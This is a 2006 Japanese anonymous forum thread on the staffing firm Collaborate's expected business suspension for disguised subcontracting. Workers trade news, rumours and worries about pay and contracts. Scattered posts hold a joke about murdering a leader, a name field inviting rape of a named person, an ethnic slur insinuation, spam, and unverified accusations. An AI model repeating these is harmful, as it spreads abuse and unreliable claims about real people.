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コラボレートPart10〜事業停止命令すら守らない?〜

1 :名無しさん@そうだ登録へいこう:2006/09/30(土) 18:10:04 ID:oQdJ+eky0
クリスタルグループの主力子会社「コラボレート」のスレです。
ついに本体丸ごと行政処分を食らうことになりました(まだ正式な発令はされていませんが、時間の問題)。

「派遣法」違反の偽装請負で初の事業停止命令へ@読売本体
ttp://www.yomiuri.co.jp/national/news/20060930i401.htm
偽装請負、大阪の大手子会社を初の事業停止へ@読売大阪
ttp://osaka.yomiuri.co.jp/news/20060930p101.htm
偽装請負で事業停止命令へ 大手コラボレートに厚労省@朝日
ttp://www.asahi.com/job/news/TKY200609290407.html
偽装請負のコラボ社、1年余りで3回指導・処分受ける@読売大阪
ttp://osaka.yomiuri.co.jp/news/20060930p302.htm
偽装請負で事業停止命令へ@神戸(共同)
ttp://www.kobe-np.co.jp/kyodonews/news/0000125478.shtml

ウェブサイトを持たないゆえに実体がつかみにくい同社の行動が
クリスタル本体へどのような影響を及ぼすのかを生暖かく見守るスレでもあります。
どうか皆様方、有益な議論をお願いいたしますw

2 :名無しさん@そうだ登録へいこう:2006/09/30(土) 18:12:17 ID:+1coQkTCO
マジカルうんこ

3 :名無しさん@そうだ登録へいこう:2006/09/30(土) 18:23:26 ID:u1fOMsDTO
マジカルちんこ

4 :■重複誘導■:2006/09/30(土) 18:24:38 ID:dZaUwkI10
コラボレートPart9〜また社名変更?〜
http://money4.2ch.net/test/read.cgi/haken/1155961898/


5 :名無しさん@そうだ登録へいこう:2006/09/30(土) 19:10:56 ID:U2SNCxbA0
入れるのわすれてますた

前スレ
コラボレートPart9〜また社名変更?〜
http://money4.2ch.net/test/read.cgi/haken/1155961898/

6 :名無しさん@そうだ登録へいこう:2006/09/30(土) 19:12:11 ID:6GFl0bs9O
沼津の所長なんとかしろよ!

7 :名無しさん@そうだ登録へいこう:2006/09/30(土) 19:43:41 ID:1+L6kjms0
おまえら、さっさと辞めればいのにww

8 :名無しさん@そうだ登録へいこう:2006/09/30(土) 20:24:20 ID:tDabcEpKO
( ゚Д゚)、コラボ?ペッ

9 :名無しさん@そうだ登録へいこう:2006/09/30(土) 20:44:17 ID:o5Q2loUaO
業務停止命令を守ったら受入先企業が困るから
受入先企業もグル だけど逮捕されない うらやま いっいや とんでもない

10 :名無しさん@そうだ登録へいこう:2006/09/30(土) 21:11:16 ID:uzXWAfWU0
また社名変更で逃げるのかな。
そして内部ではどうなっているのかな?
さらに他の関係会社はどうなるのか

11 :名無しさん@そうだ登録へいこう:2006/09/30(土) 21:23:34 ID:+QRjnikd0
業務停止命令発動!!!!!!!

ヤッパリ、キタワァ*・゜゚・*:.。..。.:*・゜(n‘∀‘)η゚・*:.。. .。.:*・゜゚・* !!!!!

12 :名無しさん@そうだ登録へいこう:2006/09/30(土) 21:39:24 ID:Kts0stxd0
つか、もうすぐ連操はじまるっつーのに・・・
こりゃ公出の嵐か・・・

13 :名無しさん@そうだ登録へいこう:2006/09/30(土) 21:47:32 ID:rUYxmyGr0
フォースってまだあんの?

14 :名無しさん@そうだ登録へいこう:2006/09/30(土) 22:16:01 ID:2UrWM3S+O
コラボって朝鮮系?

15 :名無しさん@そうだ登録へいこう:2006/09/30(土) 22:26:23 ID:pS6pKe3L0
政権委譲時によくある行政側のトカゲのしっぽ切り

16 :名無しさん@そうだ登録へいこう:2006/10/01(日) 00:06:25 ID:Td1gnfLD0
さあ、すばらしき展開になってきましたね。

悪徳口入屋にナイスな制裁です 。

今後に期待あげ

17 :忍者:2006/10/01(日) 00:17:12 ID:CHqqxKMgO
忍者の国は伊奈クス撤退!噂では上がもめたらしい。Mタカーシーは朝礼で涙涙の撤退報告。絵クセ出ーを強く勧められました。

18 :名無しさん@そうだ登録へいこう:2006/10/01(日) 00:27:15 ID:nHKh99uyO
絵クセ出−は最悪。外人並の体力が必要らしい。

19 :名無しさん@そうだ登録へいこう:2006/10/01(日) 06:55:23 ID:isqouvPKO
おはようございます自分の心配してたとおりになってしまったね仕事ができればいいかなって思います

20 :名無しさん@そうだ登録へいこう:2006/10/01(日) 06:55:54 ID:9TkVR7HVO
あ〜絵クセでぃーやめとけ!
漏れの知り合いは正社員やったけど、長時間労働と精神的つらさで、三人とも辞めてしもたよ。
車関係はどこもつらいな。
伊奈っくすには残れないの?

21 :名無しさん@そうだ登録へいこう:2006/10/01(日) 06:58:53 ID:YWvQfdqjO
週明通達。
法令遵守、派遣化にともない。全事業所閉鎖。事業所長及び管理者は、営業部門及び採用部門への異動を命ず。 以上。

22 :名無しさん@そうだ登録へいこう:2006/10/01(日) 07:37:50 ID:MOuOlbc00
おいらは伊奈Xに残るよ。職場も同じです。
コラボに残ったって、次の工場でまたいつ撤退になるかもしれないし、
今の慣れた仕事のままだし、社員さんもいい人多いし、
残りたい人は全員残れるって聞いたよ。
撤退の説明会の時に、コラボのエロい人が色々言ってたけど、
もしかして解約の1番の理由って今回の営業停止じゃないの?


23 :名無しさん@そうだ登録へいこう:2006/10/01(日) 08:06:00 ID:nHKh99uyO
いや、いや、解約の原因はやっぱセクハラ野郎でしょ−なんてったってセクハラで訴えられてるくらいだから…。

24 :名無しさん@そうだ登録へいこう:2006/10/01(日) 08:19:36 ID:6afGlKEQO
倒産?

25 :名無しさん@そうだ登録へいこう:2006/10/01(日) 08:20:22 ID:CHqqxKMgO
こんな事件があって給料はあるんかな?このまま、トンズラなんてありえる?Nひらはどうするんやろ?噂じゃ、ホームレス?

26 :名無しさん@そうだ登録へいこう:2006/10/01(日) 08:56:00 ID:MJk3l/De0
事業命令停止処分なのにうちの近くの某営業所は今日求人出してたぞ。


27 :名無しさん@そうだ登録へいこう:2006/10/01(日) 09:03:05 ID:MmSyzjeSO
>>26まだ正式に発令してないだろ?

28 :名無しさん@そうだ登録へいこう:2006/10/01(日) 09:08:50 ID:isqouvPKO
それはまちがってるよ営業停止って言うのは新規に会社に営業に行けないだけで現場の人間はかんけいないよ募集してたのもそこの工場に人がたりないからだよ

29 :名無しさん@そうだ登録へいこう:2006/10/01(日) 09:38:44 ID:I5oT3IVUO
営業停止と事業停止ってどうちがうんらー

某損保が「営業停止」になった時、新規契約禁止はもちろん、今現在の契約内容の確認問い合わせにすら答えさせない状態だった。つまり仕事するなと。
で、「事業停止」がみこまれるコラボにつかわれる我らの運命は?

30 :名無しさん@そうだ登録へいこう:2006/10/01(日) 09:44:12 ID:F3j7RqbcO
コラボは賄賂とかはしてないんですか?


31 :名無しさん@そうだ登録へいこう:2006/10/01(日) 10:01:10 ID:simWY3Ew0
コラボレートの事業停止期間は2週間程度とみられる。
対象は、労働者派遣法に基づき届け出ている同社の全84事業所に
及ぶ見通し。停止期間中、同社はメーカーなどに新しく
労働者を派遣できなくなる。
ただ、すでに派遣されている従業員は引き続き働くことができる。
ってgooニュースにかいてありました。

32 :名無しさん@そうだ登録へいこう:2006/10/01(日) 10:07:55 ID:zdr1wxv00
    _、―-、/└ ''Z__            おまえらはベンツや豪邸を見て欲しいと思っても
  _.ニ‐          `ゝ         真っ直ぐ自分の「もの」にしようと考えられない…
  フ                ヽ        ハナっからあきらめて…あげく…
  7 /|ハ/^)ノヽ八ト、      !         ケチな悪戯をして回る
  7イー ,,_ー---‐_,,. -ヽ   |         今回の祭りだってそうだ
   」ニ::-_'l___l''__-=二.| r-、 |    オレは募金ビジネスで1億2億入ると言ってるのに
   .|::::::....,ゝー|:::::::::::::...||コ | |       おまえらはそっちには関心を示さない…
   `iー‐|  _`ー―‐' | ト.| | ト、        負け癖が染み付いてる証拠
     | /L - ' ー-、  V,,ン | \_   この祭りはそんなおまえらの負け癖を
    /| ⊂ニニ⊃ | ∧  |   \ `ー 、_  一掃するいいチャンスだ
_ -‐/  |   ≡    /  ヽ.|    | ̄`―、    さあやれっウスノロども…!
.-‐/   └┼┴┴┴ ′ /l|      |     募金ビジネスで大金を掴め…!
 /     /l|\     /  |:|      |      人生を変えろっ…!
【街頭集金活動の予定】
http://news19.2ch.net/test/read.cgi/newsplus/1159663601/
http://news.80.kg/index.php?%BB%E0%A4%CC%BB%E0%A4%CC%BA%BE%B5%BD
http://off3.2ch.net/test/read.cgi/offmatrix/1159594719/l50
http://sinu-sinu.info/

10月1日(日)
●吉祥寺駅北口/13:30〜17:00
●三鷹駅北口/13:30〜17:00
●武蔵境駅南口/13:30〜17:00
●井草八幡宮のお祭り/13:30〜17:00

33 :名無しさん@そうだ登録へいこう:2006/10/01(日) 10:20:09 ID:59j0ucM10
>>10
それはもう無理。栗Gであることが晒されたからな。
せいぜいできるとしたら分社化>コラボを分社に吸収合併だが、
そういうことをしても逃れられないのはシースタのときに証明されたし。

>>29
>>31のとおりだが、この間に仮に大量退職されたら補充が処分明けまでできなくなっているから、解約の理由には十分。
何より処分そのものを理由として解約に走るところが続出するだろう。

34 :名無しさん@そうだ登録へいこう:2006/10/01(日) 10:51:43 ID:dPMih4KE0
>>33
それはあくまで人が足りてる職場限定かと。
ギリギリでやってる工場のラインが多いから切りたくても切れないと思いますよ。
私の勤務していた派遣先企業は1人休めば1ライン止まってました。
交代で休憩もしにくい状態で12時間は辛かったな。。。

35 :名無しさん@そうだ登録へいこう:2006/10/01(日) 11:26:13 ID:kiYirlbr0
俺9月末で工場に派遣されてたの退社したけど
9月分給料でるんかいの

36 :名無しさん@そうだ登録へいこう:2006/10/01(日) 11:43:29 ID:isqouvPKO
大丈夫だよ給料はでるよ変なやめかたしてなければね自分もそうだったからね

37 :名無しさん@そうだ登録へいこう:2006/10/01(日) 12:08:30 ID:8Xb7NfSSO
九月末に面接受け、10月頭に連絡来る予定のオレの運命は?


38 :名無しさん@そうだ登録へいこう:2006/10/01(日) 12:20:02 ID:jXLuQISF0

>>37
こらぼのくせしてもったいぶりやっがって、
連絡待ちさせてるの?

ふざけたやつらだ。


39 :名無しさん@そうだ登録へいこう:2006/10/01(日) 12:24:48 ID:8Xb7NfSSO
>38
応募多数の為、書類選考させてください だとよ。面接の時、オレしかいなかったぞW


40 :名無しさん@そうだ登録へいこう:2006/10/01(日) 12:31:24 ID:EPeJB+Ft0
今、CSIだけど、ここに転職しようかな。

41 :名無しさん@そうだ登録へいこう:2006/10/01(日) 12:52:52 ID:YWvQfdqjO
来週から楽しみだね。リストラ通達。楽しいなぁ。インチキ管理はみな解雇〜

42 :名無しさん@そうだ登録へいこう:2006/10/01(日) 12:58:00 ID:Fa0+MAVo0
逆に考えるんだ。

新人が来ないということは、上がやめれば自分がリーダーになれると考えるんだ。
リーダーになったあとは社員になれると考えるんだ。
まずはリーダーを自殺に偽装して殺すことから始めるんだ。

43 :名無しさん@そうだ登録へいこう:2006/10/01(日) 13:11:32 ID:NvXVhJRF0
契約自体は請負から派遣に切り替わっても管理体制には
あまり変化はないのでは?管理リストラとか非現実的だよ。
大体あいつらリストラされたって俺らの生活になんの影響
もないし。

44 :”管理”部 ○○:2006/10/01(日) 13:23:46 ID:CyoYSUBH0
クリスタルを親会社に持つコラボレート。ご存知アウトそ〜シング〜ポッポ〜〜
100円ショップや観光バス部門もやっているのでコラボレート飛んでも
関係なし!別会社立ち上げるだけ!心配なのはコラで働いているお前らだろ
やいやい言うなら正社員で就職してみろよ!折れクリスタル系社員だけど
お前らどうでも良いしお前ら働き悪いくせに文句大杉


45 :名無しさん@そうだ登録へいこう:2006/10/01(日) 13:36:26 ID:kEoyjWAi0
茨城の某所で違う派遣で働いている者だが。
1ヶ月くらい前からコラボの社員に対し通知がきたそうだ。

現在のラインに残りたいならシーケルへ移転
コラボにいたいなら別のラインへ行け

というアンケートがあった。
現在はその事業所の求人は無い状態

今働いてるとこも平気で多重派遣やってたけどなーw

46 :名無しさん@そうだ登録へいこう:2006/10/01(日) 14:48:24 ID:awVmLS/3O
コラボは労働局に賄賂贈ってなかったから業務停止

47 :名無しさん@そうだ登録へいこう:2006/10/01(日) 14:50:21 ID:OPAuNzgl0
>>46
なんか、すごいまともな会社に聞こえる文章だね。

48 :名無しさん@そうだ登録へいこう:2006/10/01(日) 15:40:16 ID:kp9lXssDO
age

49 :名無しさん@そうだ登録へいこう:2006/10/01(日) 15:57:49 ID:wzLKyzq7O
現在コラボの請負でライン工しているんですが、今回の件で一般作業員はどうなるんですか?管理に聞いたんだけど、大丈夫だと言われました。

50 :名無しさん@そうだ登録へいこう:2006/10/01(日) 16:01:11 ID:OPAuNzgl0
派遣社員に切り替わり、手取りが下がる可能性が・・・。

51 :名無しさん@そうだ登録へいこう:2006/10/01(日) 16:11:26 ID:7z3qIMZE0
前にアクティス(今名前変わったかも?)っていう派遣会社で働いてたんだけど
この会社の本社ってクリスタルグループ?


52 :名無しさん@そうだ登録へいこう:2006/10/01(日) 16:12:08 ID:WIt86p790
「偽装請負」と呼ばれる違法な労働形態で労働者を派遣していたとして、
大阪労働局は、業務請負大手「クリスタル」(本社・京都市)グループの「コラボレート」(同・大阪市北区)に対し、
労働者派遣法に基づき事業停止命令を週明けにも出す方向で最終的な検討に入った。

偽装請負を理由に事業停止を命じた場合、全国で初めてとなる。

関係者によると、大阪労働局は立ち入り調査の結果、従業員を指揮しているのは事業者側で、
実際にはコラボ社から事業者への人材派遣にあたり、労働者派遣法違反にあたると判断した。
関係者は「警備関係の仕事で偽装請負が行われていた」と証言している。

本来の請負は、業務全体を請負会社に委託し、現場では請負会社が従業員を指示・命令しなくてはならない。
これに対し、偽装請負では、派遣を受けた事業者側が現場の従業員を指示・命令しており、
労務管理や労災発生時の責任の所在があいまいになるため、労働者派遣法で禁じている。

http://headlines.yahoo.co.jp/hl?a=20060930-00000401-yom-soci



53 :名無しさん@そうだ登録へいこう:2006/10/01(日) 16:44:22 ID:FuduYD/U0
コラボレート通達
請負はリスクが大きいので製造派遣に全面的に切り替え。
応じなければ解約可。


54 :名無しさん@そうだ登録へいこう:2006/10/01(日) 17:14:09 ID:Mlurd9t10
>>49
合法な派遣契約になる。
これからは、安心して働けると思う。

55 :名無しさん@そうだ登録へいこう:2006/10/01(日) 17:20:34 ID:wzLKyzq7O
請負から派遣になってしまうと給料は、どうなるんですか?

56 :名無しさん@そうだ登録へいこう:2006/10/01(日) 17:29:19 ID:Mlurd9t10
>>55
社会保険が原則強制加入になるが、以前から加入してた奴は、手取り額は変わらないと思う。

57 :名無しさん@そうだ登録へいこう:2006/10/01(日) 17:31:59 ID:MmSyzjeSO
>>54どうかな?
コラボはダーティーというイメージが派遣先企業や請負元企業に浸透して、新規は絶望、既存も契約更新なしだと思われるが。コラボを使えば発注企業もダーティーに見られてしまうからな。

58 :名無しさん@そうだ登録へいこう:2006/10/01(日) 17:42:36 ID:9QJhBqvWO
>>51間違いなくそう。俺もアクティス→コラボレートみたいなのになった。
その前から何回も名前を変わったりしたけど、クリスタルの下っ端には変わりないよ。

59 :名無しさん@そうだ登録へいこう:2006/10/01(日) 17:49:41 ID:Mlurd9t10
安倍政権に変わって、こういうグレー部分へも、早速メスが入ったな。

60 :名無しさん@そうだ登録へいこう:2006/10/01(日) 17:49:49 ID:7z3qIMZE0
>>58
やっぱりそうだったのかI県のある会社に
知り合いも含めて結構な人数の人が派遣されてるから
どうなるんだろうって思ってる。


61 :名無しさん@そうだ登録へいこう :2006/10/01(日) 18:17:21 ID:/UjWlPfQ0
コラボだけじゃないかも・・・適正に製造系派遣してないのは・・・コラボでかいから仕方ないんじゃない?
最初に処分されるのはね。

62 :名無しさん@そうだ登録へいこう:2006/10/01(日) 18:26:24 ID:F3j7RqbcO
横領か 賄賂の疑い クリスタル

潰れてしまえ クリスタル



63 :名無しさん@そうだ登録へいこう:2006/10/01(日) 18:36:06 ID:O9coOBeh0
一般的に請負から製造派遣に切り替わると、
従業員の権利が変わり、強制残業や強制休出をさせる事が不可能になる。
派遣元は売り上げ減少を抑えるため、皆勤、食事、交通費などのカットを始める。
今まで精勤などの業務実績で手当てが出ていたところは、
それもカットされ、手取りが少なくなると思われる。
ココ以外の派遣他社は現在この状態に徐々に移行し始めている。

64 :名無しさん@そうだ登録へいこう:2006/10/01(日) 18:43:09 ID:Mlurd9t10
>>63
逆に言えば、派遣先企業から、いいように使われるようになるのでは?

65 :名無しさん@そうだ登録へいこう:2006/10/01(日) 18:43:15 ID:O9coOBeh0
例えば、
請負時は、皆勤5000円/月、精勤3000円/月、時給1000円、食事1000円/日だったところが、
製造派遣では、時給1000円(入社一ヶ月時給900円)のみ。

と言う条件になったりする。

66 :名無しさん@そうだ登録へいこう:2006/10/01(日) 18:49:35 ID:O9coOBeh0
>>64
言い様に使われるかどうかは、その人次第。
請負にはなかった、「法の壁」を如何に上手く利用できるか?と言う点ね。
これから製造派遣に携わる人は勉強しよう。
面倒だなぁと思うなら、正社員の道を探すべき。

67 :名無しさん@そうだ登録へいこう:2006/10/01(日) 18:51:34 ID:NvXVhJRF0
契約を更新しない企業、解約になる企業もでてくるだろうが
実際はコラボが業務停止になろうがさほど気にしない企業も
多数。管理体制はこのまま、契約内容のみ派遣に変更という
のが一番多い。派遣期間とクーリングオフのくくりがあるが
これもやり方一つで逃れることも可能。要は役所も社保加入
率upが目的なので、原則社保加入の派遣契約に切り替われ
ばあとは底辺である我々ワーカーはどうなろうと知ったこと
ではないという現実。
つまりコラボが行政処分でどうなろうと我々には左程影響も
ない。良くもならなければ悪くなることもないだろう。解約
もしくはコラボが倒産にでもなれば話は別だが。


68 :名無しさん@そうだ登録へいこう:2006/10/01(日) 19:00:04 ID:VmAfWTptO
解約しても追跡調査あるし、そこがどうなったのかを調べらるから下手なことはせんでしょ。お馬鹿な業者とお馬鹿なメーカーはやるかもしれないけどね。労働局側に取引先をすべて報告してるから下手なことはやらないほうがいいよ。マジで。

69 :名無しさん@そうだ登録へいこう:2006/10/01(日) 19:06:25 ID:MmSyzjeSO
>>67そんな事をおおっぴらに書いて


知らんぞ

70 :名無しさん@そうだ登録へいこう:2006/10/01(日) 19:16:02 ID:F3j7RqbcO
倒産してしまえ

71 :名無しさん@そうだ登録へいこう:2006/10/01(日) 19:35:42 ID:59j0ucM10
>>67
いや、気にはすると思うぞ。求められた改善ができなきゃ次は確実に「廃止」と「刑事沙汰」だからな。
せっかく鍛えた労働者を失うリスクが出てくるわけだがら、少なくとも経営改善は求めるはず。

72 :名無しさん@そうだ登録へいこう:2006/10/01(日) 19:45:09 ID:F3j7RqbcO
改善しなくていいから潰れろ

73 :名無しさん@そうだ登録へいこう:2006/10/01(日) 19:47:43 ID:ygYSA5J60
派遣先企業によっては、
契約社員として直接雇用に乗り出すところもあるかも。

74 :名無しさん@そうだ登録へいこう:2006/10/01(日) 19:52:00 ID:hD5e2r1e0
ついに、行政処分!!



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75 :名無しさん@そうだ登録へいこう:2006/10/01(日) 20:16:09 ID:NvXVhJRF0
>>69
意味がわからん。別に内部情報でもない。一般論でしょう。
それにここまできたら改善も糞もない。実際はどうか知らん
が大抵は既に派遣契約に切り替わっているし現在請負契約
の事業所のみ今後について改善が必要なだけだろう。適正
に請負として運営できてなければ解約もしくは派遣に移行
するのみ。馬鹿な業者やユーザーは>>68の書いた通り後で
痛い目にあうだろうな。キャ●ンや松○で請負契約を叩か
れて正社員雇用も多少はするようだが、結局請負の期間が
派遣と見なされた結果そうせざるをえないからだろ。今回
の処分を受けて監査も入ってない企業で正規雇用をする企
業が多数あるとは到底考えれない。楽してメーカーに正社
員で就職などと甘い考えは捨てることだな。

76 :名無しさん@そうだ登録へいこう:2006/10/01(日) 20:17:24 ID:VmAfWTptO
いまの行政のやり方は表向きは正義のように見えるがただの金集めが目的だろ?役人のスキャンダルはリストラして人件費けずってあとはいままで取り損ねた金(税金・保険・年金)を回収していけば多額の負債も減るかもってことをやってるだけさ。

77 :名無しさん@そうだ登録へいこう :2006/10/01(日) 20:17:49 ID:/UjWlPfQ0
日本経済(政府経済)の復調がある程度見込めてきた状況なので、隙間業種に
決別し、遵法的な派遣形態の推進となってゆくのでは・・・・ 派遣でも請負
でも、最大の受益者は使用者である派遣先(元請)企業であることに変わりな
いでしょう・・・・ 大変な時代です・・・

78 :名無しさん@そうだ登録へいこう:2006/10/01(日) 20:18:54 ID:BaP4ypk10
ないない。



79 :名無しさん@そうだ登録へいこう:2006/10/01(日) 20:21:15 ID:Ecqr37MzO
国としては、派遣契約の雇用であれば、正社員と同じく社会保険料を強制で取れるからな。

80 :名無しさん@そうだ登録へいこう:2006/10/01(日) 20:24:45 ID:NvXVhJRF0
>>79
要はそういうことだ。社保代さえ回収できれば底辺の事など
そうでもよい。それがお役所だ。その為の偽装請負摘発であ
り今回の行政処分だからな。ここの底辺はその辺もっと理解
して今後のことをよく考えろ。

81 :名無しさん@そうだ登録へいこう:2006/10/01(日) 20:27:58 ID:xzc4wsm40
「技能育成センター」って知ってる?

82 :名無しさん@そうだ登録へいこう:2006/10/01(日) 20:31:43 ID:CDdomm4pO
プロトラッドというか特殊技能事業部というか…

83 :名無しさん@そうだ登録へいこう:2006/10/01(日) 20:32:29 ID:O0ZJFBru0
むちゃ いい会社

84 :名無しさん@そうだ登録へいこう:2006/10/01(日) 20:35:21 ID:O0ZJFBru0
コラボより、所長・管理者すべての面で、いい会社。
技術社員も頭きれるヤツ多い


85 :名無しさん@そうだ登録へいこう :2006/10/01(日) 20:38:08 ID:tNDvTJrj0
それ、半導体製造関連技能とか、溶接技能とか、ユーザー企業の要望する技能
を、訓練、習得するって施設のことですか?

86 :名無しさん@そうだ登録へいこう:2006/10/01(日) 20:44:00 ID:O0ZJFBru0
偏差値高い会社。シーテック、技能育成だろう。コラボから引き抜きで、現場いるよ

87 :名無しさん@そうだ登録へいこう:2006/10/01(日) 20:57:52 ID:0G0y5c2i0
まぁあれだ派遣はゴミクズに変わりなしってことだ

88 :名無しさん@そうだ登録へいこう:2006/10/01(日) 21:02:53 ID:O0ZJFBru0
企業の正社員に一番近いのである。おれもがんばる。
なった人いるよ。

89 :名無しさん@そうだ登録へいこう:2006/10/01(日) 21:03:03 ID:Hl9fmNKp0
>>87
そのゴミクズを漁ってる輩は、派遣にも及ばない低脳って言う事だ


90 :名無しさん@そうだ登録へいこう:2006/10/01(日) 21:17:15 ID:MQm61B390
もともとこういう問題を取り上げてきたのは日本共産党

91 :名無しさん@そうだ登録へいこう:2006/10/01(日) 21:23:00 ID:NvXVhJRF0
>>90
だからなんだ?w

92 :名無しさん@そうだ登録へいこう:2006/10/01(日) 22:13:53 ID:AgzDxb/9O
はぁ?? 技能育成が凄い?
誰が作り話書いてるんだよ


93 :名無しさん@そうだ登録へいこう:2006/10/01(日) 22:50:11 ID:DY36GUtT0
>>92
そうそう
逆にレベル低いだろ

94 :名無しさん@そうだ登録へいこう:2006/10/01(日) 22:57:31 ID:NvXVhJRF0
釣りじゃねーのw

95 :井上ち○ろ、犯していいぜ:2006/10/01(日) 23:23:36 ID:b1xQmrGn0
 埼玉の関東性器関連の事業所長に就任したばかりの若造(伊勢崎所属)が、ついこないだ
辞めた。
 2ヶ月連続、給与計算を間違った責任でも感じたのか?
だが、辞めれば済むのか?
 人間だから多少の間違いはあるだろう。しかし、同じ間違いを犯さないように細心の注意を払うのが
真のビジネスマンたる姿勢ではないのか?
 K崎さんよ、ここでの苦い経験をしかと胸に刻んでおくがいい。でなければ、今後
どのような道に進もうと、結果は同じだと思うね。

96 :名無しさん@そうだ登録へいこう:2006/10/01(日) 23:30:36 ID:F3j7RqbcO
さっさと潰れろコーラーボ!!
事業停止期間中に皆辞めてまえ!!

潰れんでも最悪、派遣先から撤退しろ!撤退なんてかっこいい名前じゃないな!逃亡だな!


(株)エスケープに改名しろ


97 :名無しさん@そうだ登録へいこう:2006/10/02(月) 00:13:40 ID:PBdQoTbU0
黙れ底辺


98 :名無しさん@そうだ登録へいこう:2006/10/02(月) 01:07:18 ID:YGSlSZXtO
【通達】
潟Rラボレートの全取引先、事業所を劃 style に移管すること。即日より実施せよ。以上

99 :yanai:2006/10/02(月) 01:18:15 ID:GfTcDx6Q0
おめーら、事業停止ってなんだかしっとるけ?
新規に請負人足を送り込む事だけ禁じられるんだよ。いま配属してる連中は
そのまま勤務できるんだよ。事業停止自体はなんの被害もない。
それより、イメージが悪くなって、メーカーから解約される方がこたえるぞ。
すでに年内に大手メーカ数社合わせれば2000人分ほどの解約になる。


100 :kt:2006/10/02(月) 01:38:26 ID:swxThcdM0
われわれのとこでは数ヶ月前にコラボがアウトソーシングに切り替えになり
スタッフも派遣メンバーもそのままで現状で推移している。

派遣先経営トップはこうなることを理解していたのでしょうね。
コラボは経営情報も市場に対して公開してないし、おそらく一番問題になる
不労所得(ようするにピンハネ)を一番ため込んでいたのではないか。

不労所得は許されるものではないですよ。資本主義世界第二位のこの国で
なんでこんな前時代の仕組みが許されるのですか。

101 :名無しさん@そうだ登録へいこう:2006/10/02(月) 05:58:28 ID:oDLlCvtdO
スカッとリストラ、安全衛生管理者! 派遣の管理は受け入れ先のメーカー責任。 偽装請負から派遣になれば、不要な人材が溢れるな。リストラ時の泣き顔が、結構笑える。

102 :名無しさん@そうだ登録へいこう:2006/10/02(月) 07:16:38 ID:NNF5uCyMO
現場は今まで通りって事…!?

103 :名無しさん@そうだ登録へいこう:2006/10/02(月) 07:23:44 ID:H1Uwrsuv0
>>102
そうだよ
ただ、派遣先が今回の処分でどう出るか…

104 :名無しさん@そうだ登録へいこう:2006/10/02(月) 07:54:39 ID:hDT64nWI0
>>103
現場で退職者が出た場合は補充が利かないのかな?
そうなれば他の派遣会社が穴埋めをし、侵食し続け
ついにはコラボから仕事を奪う、なんてことがありゆるがな。

105 :名無しさん@そうだ登録へいこう:2006/10/02(月) 08:15:20 ID:Mfzhc2OM0
いいか。現状の請負体制が派遣と見なされたからこそ派遣契約に
シフトするんだ。つまり管理体制もこのままでいく可能性が高い。
でないと受け入れ企業も派遣契約へのシフトをのまんだろ。
つまりお前等が望むようなリストラはない。派遣契約になったか
らといってどこの企業が好き好んでお前等底辺の管理などしよう
ものか。幻想を抱くのも程々にしろ、低脳どもがw

106 :名無しさん@そうだ登録へいこう:2006/10/02(月) 08:17:25 ID:YY+iU6ByO
停止中は退職補充不可です。営業や面接や採用も不可です。

107 :名無しさん@そうだ登録へいこう:2006/10/02(月) 08:44:18 ID:YY+iU6ByO
偽装請負一掃キャンペーンin近畿〜
キャンペーン期間10月〜11月だそうです。主催滋賀、京都、大阪、兵庫、奈良、和歌山。内容詳細は大阪労働局需給調整事業部まで電話0647906303に連絡だとさ。本気でやるみたいだな。ホームページ載ってるぞ。

108 :名無しさん@そうだ登録へいこう:2006/10/02(月) 08:59:12 ID:yv7zbfAg0
俺の職場なんか皆今回の事知らないんだよ。
多分俺くらいじゃなかったのかな。
笑っちゃったよ。皆知らねーんだもん。

109 :名無しさん@そうだ登録へいこう:2006/10/02(月) 09:26:27 ID:6P7BSojf0
>>106求人広告が出てたら行政にGO

110 :名無しさん@そうだ登録へいこう:2006/10/02(月) 09:30:51 ID:JErwJK0j0
てか、土日だけで100件以上のスレって・・・
何やかんや言って皆心配なんだ。

辞めればいいのに。なぜそこまで居座るかね?


111 :名無しさん@そうだ登録へいこう:2006/10/02(月) 09:44:26 ID:FSEQkuwI0
>>110
何度も何度もその手の書き込みを見るけど、
地方で、男で30過ぎて、資格無しじゃ派遣しかないって。
もうボコボコにぶん殴られて、崖の先端まで追い詰められて飛び降りろって
言われているのと同じ。

20代の人ならその意見は当然だが、
30代の人間には、何度もうざくてかなわん。

112 :名無しさん@そうだ登録へいこう:2006/10/02(月) 09:55:42 ID:zyNg4VOv0
確かに派遣でしか採用してもらえない人間だっている。
他で採用されたとしても、派遣での給与の8割ももらえないだろう。
仕事が出来なくて49歳の人を雇うとしたら、安月給(日払い?)の警備員・清掃員くらいだろう。
人によってはまだ大手の派遣の方がずっとましだったりするんだよ。


113 :名無しさん@そうだ登録へいこう:2006/10/02(月) 09:56:01 ID:mUB2Fie8O
20代でも仕事ないよ

114 :名無しさん@そうだ登録へいこう:2006/10/02(月) 10:00:20 ID:Mfzhc2OM0
>>111
資格ないんなら取ったらええやんけ。努力もせんと泣き言だけか?
てめぇの能力不足を他人や社会のせいにすんな。そっちのほうが
100倍うざい。一生共産党でも支持してろw

115 :名無しさん@そうだ登録へいこう:2006/10/02(月) 10:07:26 ID:rMejq/VQ0
2週間も人入っててこねえの?
どうすんだよ、うちの職場。
まわらねえぞ・・・

116 :名無しさん@そうだ登録へいこう:2006/10/02(月) 10:22:27 ID:SWQvLxlY0
俺が行くよw

117 :名無しさん@そうだ登録へいこう:2006/10/02(月) 10:25:59 ID:ef4UK/bcO
>>114
何様のつもりだこいつ
馬鹿なんか?

118 :名無しさん@そうだ登録へいこう:2006/10/02(月) 10:32:10 ID:/sxltgwi0
うちは埼玉なんだが今週の新聞の求人チラシに
普通に募集が出てるんだが?


119 :名無しさん@そうだ登録へいこう:2006/10/02(月) 10:52:30 ID:ew3HDYsD0
>>118
まだ処分が正式に下ったわけじゃないし、チラシならデータが作られたのは少なくとも先週頭あたりだろ

実際にこのあたりに影響がでるのは処分が正式に下った1〜2週間先(これは求人雑誌も同様)
そこにコラボの名前がなくなっているのがわかるだろう

ちなみにネット関係なら数日程度のはず

120 :名無しさん@そうだ登録へいこう:2006/10/02(月) 10:52:48 ID:Mfzhc2OM0
>>117
何様もクソもねーぞ。ただの正論だろ。
そんなこともわからんお前が馬鹿w

121 :名無しさん@そうだ登録へいこう:2006/10/02(月) 11:49:56 ID:NNF5uCyMO
まだ処分になってないの?うちの職場、先週末に新人2人入ってきて今日から現場に配属になりました。処分になってるのなら違法ですよね!?処分はまだまだ先?

122 :名無しさん@そうだ登録へいこう:2006/10/02(月) 11:56:18 ID:QQpDkyS70
>>121
停止前の採用分はセーフ。

停止期間中ならNG

123 :名無しさん@そうだ登録へいこう:2006/10/02(月) 11:59:13 ID:NNF5uCyMO
